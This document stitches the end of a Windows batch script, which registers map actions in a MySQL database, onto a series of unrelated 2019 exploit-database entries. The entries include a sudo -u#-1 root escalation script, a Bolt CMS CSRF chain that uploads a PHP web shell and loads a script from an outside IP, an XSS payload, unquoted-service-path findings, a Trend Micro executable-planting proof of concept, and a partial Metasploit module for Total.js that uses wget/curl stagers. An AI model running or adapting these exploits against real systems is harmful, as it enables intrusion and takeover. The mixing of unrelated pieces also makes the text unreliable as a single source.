set DEFAULT_HTTP_PORT=%APACHE_HTTP_PORT%
)
goto GLOBAL
rem
rem good to go in a non interractive mode
rem the following is the generic par of the install, whatever we are in static or dynamic mode
rem
:GLOBAL
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Global section
set MYSQL="MYSQL\MySQL Server 5.6 MariaDB\bin\mysql.exe"
echo delete from %ACCOUNT%.asp_custom_action where CA_CAPTION in ('Show on map','Closest')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo delete from %ACCOUNT%.asp_custom_tab where NAME='Map'> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
set INSERTFIELDS=%ACCOUNT%.asp_custom_action (CA_CAPTION,CA_VIEW,CA_MODE,CA_LIST_MODE,CA_HEIGHT,CA_WIDTH,CA_RESIZABLE,CA_NEED_REFRESH,CA_PROFILES,CA_URL,CA_CUSTOM_TAB,CA_TRIGGER_MODE)
if "%STATIC%"=="YES" goto :STATIC
goto :DYNAMIC
:STATIC
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Static section
echo map=static > ACCOUNTS\%ACCOUNT%\config.txt
echo ^<?php $staticMap=true; ?^>>APACHE\htdocs\osm\mode.php
echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Journey on map','workerView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
if exist req.sql del req.sql
goto FINAL
:DYNAMIC
if "%DEBUGMAPSCRIPT%"=="TRUE" echo Dynamic section
echo map=dynamic > ACCOUNTS\%ACCOUNT%\config.txt
echo ^<?php $staticMap=false; ?^>>APACHE\htdocs\osm\mode.php
echo insert into %INSERTFIELDS% values ('Show on map','jobList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','jobView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Closest','jobList','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Closest','jobView','modal','unique',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=closest','','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','workerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','workerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Journey on map','workerList','modal','mandatory',600,1024,true,false,'Administrator','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%^&mapType=journey','','button')> req.sql
rem %MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','customerList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','customerView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderList','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','serviceOrderView','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
echo insert into %INSERTFIELDS% values ('Show on map','planning','customTab','mandatory',600,1024,true,false,'Administrator','','Map','button')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
set INSERTFIELDS=%ACCOUNT%.asp_custom_tab (NAME,POSITION,ADMIN,URL,WIDTH,HEIGHT)
echo insert into %INSERTFIELDS% values ('Map',0,'false','%DEFAULT_HTTP_PROTOCOL%://%OTRMS_HOST%:%DEFAULT_HTTP_PORT%/osm/map.php?account=%ACCOUNT%','100%%','100%%')> req.sql
%MYSQL% mysql --port=%MYSQL_TCP_PORT% --verbose --user=%MYSQL_LOGIN% --password=%MYSQL_PASSWORD% < req.sql
if exist req.sql del req.sql
goto FINAL
:FINAL
echo Map registred for %ACCOUNT%
if "%1"=="" pause
goto :EOF
# Exploit Title : sudo 1.8.27 - Security Bypass
# Date : 2019-10-15
# Original Author: Joe Vennix
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : Sudo <1.8.28
# Tested on Linux
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
# Fix : The bug is fixed in sudo 1.8.28
# CVE : 2019-14287
'''Check for the user sudo permissions
sudo -l
User hacker may run the following commands on kali:
(ALL, !root) /bin/bash
So user hacker can't run /bin/bash as root (!root)
User hacker sudo privilege in /etc/sudoers
# User privilege specification
root ALL=(ALL:ALL) ALL
hacker ALL=(ALL,!root) /bin/bash
With ALL specified, user hacker can run the binary /bin/bash as any user
EXPLOIT:
sudo -u#-1 /bin/bash
Example :
hacker@kali:~$ sudo -u#-1 /bin/bash
root@kali:/home/hacker# id
uid=0(root) gid=1000(hacker) groups=1000(hacker)
root@kali:/home/hacker#
Description :
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
-u#-1 returns as 0 which is root's id
and /bin/bash is executed with root permission
Proof of Concept Code :
How to use :
python3 sudo_exploit.py
'''
#!/usr/bin/python3
import os
#Get current username
username = input("Enter current username :")
#check which binary the user can run with sudo
os.system("sudo -l > priv")
os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")
binary_file = open("binary")
binary= binary_file.read()
#execute sudo exploit
print("Lets hope it works")
os.system("sudo -u#-1 "+ binary)
# Exploit Title: Bolt CMS 3.6.10 - Cross-Site Request Forgery
# Date: 2019-10-15
# Exploit Author: r3m0t3nu11[Zero-Way]
# Vendor Homepage: https://bolt.cm/
# Software Link: https://bolt.cm/
# Version: up to date and 6.5
# Tested on: Linux
# CVE : CVE-2019-17591
# last version
# Csrf p0c
<html>
<body>
<head>
Bolt v 3.x exploit 0day
</head>
<h1>Bolt v 3.x csrf -> xss -> rce exploit</h1>
<img src ="
https://66.media.tumblr.com/8c1e5f1a62191b9091fd8736f8c4810b/tumblr_pf6q303FlE1vgbzx6o1_r1_400.jpg">
<script>
function submitRequest()
{
Csrf = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/127.0.0.1\/index.php\/async\/folder\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type",
"application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "parent=&foldername=sss&namespace=files";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
};
JSfuck1();
}
}
JSfuck1 = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/async\/file\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 = "filename=aaa&parentPath=sss&namespace=files";
xhr.send(body1);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
}
};
where();
}
where = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/async\/file\/rename",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body2 =
"namespace=files&parent=sss&oldname=aaa&newname=aaa%3Cscript+src%3D'http%3A%26%23x2f%3B%26%23x2f%3B45.63.42.245%26%23x2f%3Bfinal.js'%3C%26%23x2f%3Bscript%3E.jpg";
xhr.send(body2);
}
Csrf();
}
</script>
<form action="#">
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
JS p0c
<script>
Token = async () => {
var xhr = new XMLHttpRequest();
xhr.open("GET", "\/index.php\/bolt\/files", true);
xhr.responseType = "document";
xhr.withCredentials=true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
doc = xhr.response;
token = doc.getElementsByName("file_upload[_token]")[0].value;
upload(token);
console.log(token);
}
};
xhr.send();
}
upload = async (csrfToken) =>{
var body =
"-----------------------------190530466613268610451083392867\r\n" +
"Content-Disposition: form-data; name=\"file_upload[select][]\";
filename=\"r3m0t3nu11.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"<?php system($_GET['test']);?>\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[upload]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[_token]\"\r\n" +
"\r\n" +
token
"-----------------------------190530466613268610451083392867--\r\n";
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/index.php\/bolt\/files", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------190530466613268610451083392867");
xhr.withCredentials = true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
Shell();
}
};
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
Shell = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/file/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=&oldname=r3m0t3nu11.txt&newname=dd%2Fphp-exif-systemasjpg%2Faa%2Fphp-exif-system.php%2Faaa.jpg";
xhr.send(body1);
bypass();
}
bypass = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/folder/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=dd%2Fphp-exif-systemasjpg%2Faa/php-exif-system.php%2f&oldname=aaa.jpg&newname=bypass.php";
xhr.send(body1);
bypass2();
}
bypass2 = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/index.php/async/folder/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
xhr.timeout = 4000;
var body1 =
"namespace=files&parent=dd%2Fphp-exif-systemasjpg%2Faa/&oldname=php-exif-system.php&newname=bypass1";
xhr.send(body1);
}
Token();
</script>
version 6.5
CSrf p0c
<html>
<body>
<head>
Bolt v 3.x CVE-2019-17591 exploit
</head>
<h1>Bolt v 3.x csrf -> xss -> rce exploit</h1>
<img src ="
https://66.media.tumblr.com/8c1e5f1a62191b9091fd8736f8c4810b/tumblr_pf6q303FlE1vgbzx6o1_r1_400.jpg">
<script>
function submitRequest()
{
Csrf = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/bolt-4mti18.bolt.dockerfly.com\/async\/file\/create",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type",
"application\/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "filename=test&parentPath=&namespace=files";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
JSfuck();
}
};
}
JSfuck = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/bolt-4mti18.bolt.dockerfly.com\/async\/file\/rename",
true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 = "namespace=files&parent=&oldname=test&newname=<img src='x'
onerror=alert(1)>";
xhr.send(body1);
}
Csrf();
}
</script>
<form action="#">
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
Js p0c
<script>
Token = async () => {
var xhr = new XMLHttpRequest();
xhr.open("GET", "\/bolt\/files", true);
xhr.responseType = "document";
xhr.withCredentials=true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
doc = xhr.response;
token = doc.getElementsByName("file_upload[_token]")[0].value;
upload(token);
console.log(token);
}
}
xhr.send(null);
}
upload = async (csrfToken) =>{
var body =
"-----------------------------190530466613268610451083392867\r\n" +
"Content-Disposition: form-data; name=\"file_upload[select][]\";
filename=\"r3m0t3nu11.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"<?php system($_GET['test']);?>\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[upload]\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------190530466613268610451083392867\r\n"
+
"Content-Disposition: form-data;
name=\"file_upload[_token]\"\r\n" +
"\r\n" +
token
"-----------------------------190530466613268610451083392867--\r\n";
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1\/bolt\/files", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------190530466613268610451083392867");
xhr.withCredentials = true;
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200){
Shell();
}
};
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
Shell = async () => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/127.0.0.1/\/async\/file\/rename", true);
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded;
charset=UTF-8");
xhr.withCredentials = true;
var body1 =
"namespace=files&parent=%2f&oldname=r3m0t3nu11.txt&newname=b.php";
xhr.send(body1);
}
Token();
</script>
proof of concept :
https://drive.google.com/file/d/1TRjzOM-q8cWK1JA9cN1Auhp7Ao3AXtbp/view?usp=sharing
https://drive.google.com/file/d/1QSE7Dnx0XZth9WciaohjhA6nk_-9jCr1/view?usp=sharing
Greetz to :
Samir-dz,YokO,0n3,Mr_Hex,syfi2k,Q8Librarian,Dr_hEx,dracula1337,z0mbi3_h4ck3r,Red
Virus,m7md1337,D3vil1337,and all my friends
# Exploit Title : ActiveFax Server 6.92 Build 0316 - 'ActiveFaxServiceNT' Unquoted Service Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor Homepage: https://www.actfax.com/
# Software Link : https://www.actfax.com/download/actfax_setup_x64_ge.exe
# Version : ActiveFax Server 6.92 Build 0316
# Tested on Windows 10
# CVE : N/A
sc qc ActiveFaxServiceNT
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ActiveFaxServiceNT
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ActiveFax\Server\ActSrvNT.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ActiveFax-Server-Dienst
DEPENDENCIES :
SERVICE_START_NAME : .\Administrator
# Lavasoft 2.3.4.7 - 'LavasoftTcpService' Unquoted Service Path
# Author: Luis MedinaL
# Date: 2019-10-15
# Vendor Homepage: https://www.adaware.com/
# Software Link : https://www.adaware.com/antivirus
# Version : 2.3.4.7
# Tested on: Microsoft Windows 10 Pro x64 ESP
# Description:
# Lavasoft 2.3.4.7 installs LavasoftTcpService as a service with an unquoted service path
C:\Users\Luis ML>sc qc LavasoftTcpService
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: LavasoftTcpService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\TcpService\2.3.4.7\LavasoftTcpService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : LavasoftTcpService
DEPENDENCIAS : RPCSS
NOMBRE_INICIO_SERVICIO: LocalSystem
# Exploit Title: Express Accounts Accounting 7.02 - Persistent Cross-Site Scripting
# Exploit Author: Debashis Pal
# Date: 2019-10-16
# Vendor Homepage: https://www.nchsoftware.com
# Source: https://www.nchsoftware.com/accounting/index.html
# Version: Express Accounts Accounting v7.02
# CVE : N/A
# Tested on: Windows 7 SP1(32bit)
# About Express Accounts Accounting v7.02
=========================================
Express Accounts is professional business accounting software, perfect for small businesses.
# Vulnerability
================
Persistent Cross site scripting (XSS).
# PoC
======
1. Login as authenticated unprivileged user to Express Accounts Accounting v7.02 web enable service i.e http://A.B.C.D:98 [Default installation].
2. Under "Invoices" , Invoices List -> View Invoices -> Add New Invoice -> Customer: Field put </script><script>alert('XSS');</script>
Save the change.
or
Under "Sales Orders"
Sales Orders -> view Orders -> Add New Order -> New Sales Order ->Customer: Field put </script><script>alert('XSS');</script>
Save the change.
or
Under "Items"
Items -> Add new item-> Item field: put </script><script>alert('XSS');</script>
Save the change.
or
Under "Customers"
Customers -> Add New Customer -> Customer Name: put </script><script>alert('XSS');</script>
Save the change.
or
Under "Quotes"
Quotes -> View Quotes -> Add New Quote -> Customer: put </script><script>alert('XSS');</script>
Save the change.
3. Login in authenticated privileged or unprivileged user to Express Accounts v7.02 web enable service and visit any of Invoices/Sales Orders/Items/Customers/Quotes section, Persistent XSS payload will execute.
# Disclosure Timeline
======================
Vulnerability Discover Date: 15-Sep-2019.
Vulnerability notification to vendor via vendor provided web form: 15-Sep-2019, 19-Sep-2019, 26-Sep-2019, no responds.
Submit exploit-db : 16-Oct-2019.
# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
# Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
# Date: 2019-10-16
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.x.org/
# Version: <= 1.20.4
# Tested on: Linux
# CVE: CVE-2019-17624
#!/usr/bin/python
#coding: utf-8
# ************************************************************************
# * Author: Marcelo Vázquez (aka s4vitar) *
# * X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow) *
# ************************************************************************
import sys, time
import ctypes as ct
from ctypes import cast
from ctypes.util import find_library
def access_violation(x11, current_display):
keyboard = (ct.c_char * 1000)()
x11.XQueryKeymap(current_display, keyboard)
if __name__ == '__main__':
print "\n[*] Loading x11...\n"
time.sleep(2)
x11 = ct.cdll.LoadLibrary(find_library("X11"))
current_display = x11.XOpenDisplay(None)
print "[*] Exploiting...\n"
time.sleep(1)
try:
access_violation(x11, current_display)
except:
print "\nError...\n"
sys.exit(1)
# Exploit Title : Zilab Remote Console Server 3.2.9 - 'zrcs' Unquoted Service Path
# Date : 2019-10-15
# Exploit Author : Cakes
# Vendor: Zilab Software Inc
# Version : Zilab Remote Console Server 3.2.9
# Software: http://html.tucows.com/preview/340137/Zilab-Remote-Console-Server?q=remote+support
# Tested on Windows 10
# CVE : N/A
C:\Users\Administrator>sc qc zrcs
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: zrcs
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Zilab\ZRCS\ZRCS.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Zilab Remote Console Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Exploit Title: Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution
# Date: 2019-10-19
# Exploit Author: hyp3rlinx
# Vendor Homepage: www.trendmicro.com
# Version: 1.62.0.1218 and below
# Tested on: Microsoft Windows
# CVE: N/A
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-ANTI-THREAT-TOOLKIT-(ATTK)-REMOTE-CODE-EXECUTION.txt
[+] ISR: Apparition Security
[Vendor]
www.trendmicro.com
[Product]
Trend Micro Anti-Threat Toolkit (ATTK)
1.62.0.1218 and below
Trend Micro Anti-Threat Toolkit (ATTK) can analyze malware issues and clean infections.
It can be used to perform system forensic scans and clean the following infection types:
General malware infection
Master boot record Infection
CIDOX/ RODNIX infection
Rootkit infection
Zbot infection
Cryptolocker infection
etc..
[Vulnerability Type]
Remote Code Execution
[CVE Reference]
CVE-2019-9491
[Security Issue]
Trend Micro Anti-Threat Toolkit (ATTK) will load and execute arbitrary .EXE files if a malware author
happens to use the vulnerable naming convention of "cmd.exe" or "regedit.exe" and the malware can be
placed in the vacinity of the ATTK when a scan is launched by the end user.
Since the ATTK is signed by verified publisher and therefore assumed trusted any MOTW security warnings
are bypassed if the malware was internet downloaded, also it can become a persistence mechanism as
each time the Anti-Threat Toolkit is run so can an attackers malware.
Standalone affected components of ATTK and other integrations (e.g. WCRY Patch Tool, OfficeScan Toolbox, etc.)
attk_collector_cli_x64.exe
Hash: e8503e9897fd56eac0ce3c3f6db24fb1
TrendMicroRansomwareCollector64.r09.exe
Hash: 798039027bb4363dcfd264c14267375f
attk_ScanCleanOnline_gui_x64.exe
Hash: f1d2ca4b14368911c767873cdbc194ed
[References]
https://success.trendmicro.com/solution/000149878
*All versions of the ATTK have been updated with the newer version. Anti-Threat Toolkit (ATTK) 1.62.0.1223
[Exploit/POC]
Compile an .EXE using below "C" code and use naming convention of "cmd.exe" or "regedit.exe".
Run the Anti-Threat Toolkit and watch the ATTK console to see the Trojan file get loaded and executed.
#include <windows.h>
void main(void){
puts("Trend Micro Anti-Threat Toolkit PWNED!");
puts("Discovery: hyp3rlinx");
puts("CVE-2019-9491\n");
WinExec("powershell", 0);
}
[POC Video URL]
https://www.youtube.com/watch?v=HBrRVe8WCHs
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: September 9, 2019
Vendor confirms vulnerability: September 25, 2019
Vendor requests to coordinate advisory: September 25, 2019
October 19, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Total.js CMS 12 Widget JavaScript Code Injection',
'Description' => %q{
This module exploits a vulnerability in Total.js CMS. The issue is that a user with
admin permission can embed a malicious JavaScript payload in a widget, which is
evaluated server side, and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Riccardo Krauter', # Original discovery
'sinn3r' # Metasploit module
],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
[ 'Total.js CMS on Mac', { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
],
'References' =>
[
['CVE', '2019-15954'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
],
'DefaultOptions' =>
{
'RPORT' => 8000,
},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => '2019-08-30', # Reported to seclist
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
])
end
class AdminToken
attr_reader :token
def initialize(cookie)
@token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
end
def blank?
token.blank?
end
end
class Widget
attr_reader :name
attr_reader :category
attr_reader :source_code
attr_reader :platform
attr_reader :url
def initialize(p, u, stager)
@name = "p_#{Rex::Text.rand_text_alpha(10)}"
@category = 'content'
@platform = p
@url = u
@source_code = %Q|<script total>|
@source_code << %Q|global.process.mainModule.require('child_process')|
@source_code << %Q|.exec("sleep 2;#{stager}");|
@source_code << %Q|</script>|
end
end
def check
code = CheckCode::Safe
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'widgets')
})
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
# If the admin's login page is visited too many times, we will start getting
# a 401 (unauthorized response). In that case, we only have a header to work
# with.
if res.headers['X-Powered-By'].to_s == 'Total.js'
code = CheckCode::Detected
end
# If we are here, then that means we can still see the login page.
# Let's see if we can extract a version.
html = res.get_html_document
element = html.at('title')
return code unless element.respond_to?(:text)
title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
return code unless title
version = Gem::Version.new(title)
if version <= Gem::Version.new('12')
# If we are able to check the version, we could try the default cred and attempt
# to execute malicious code and see how the application responds. However, this
# seems to a bit too aggressive so I'll leave that to the exploit part.
return CheckCode::Appears
end
CheckCode::Safe
end
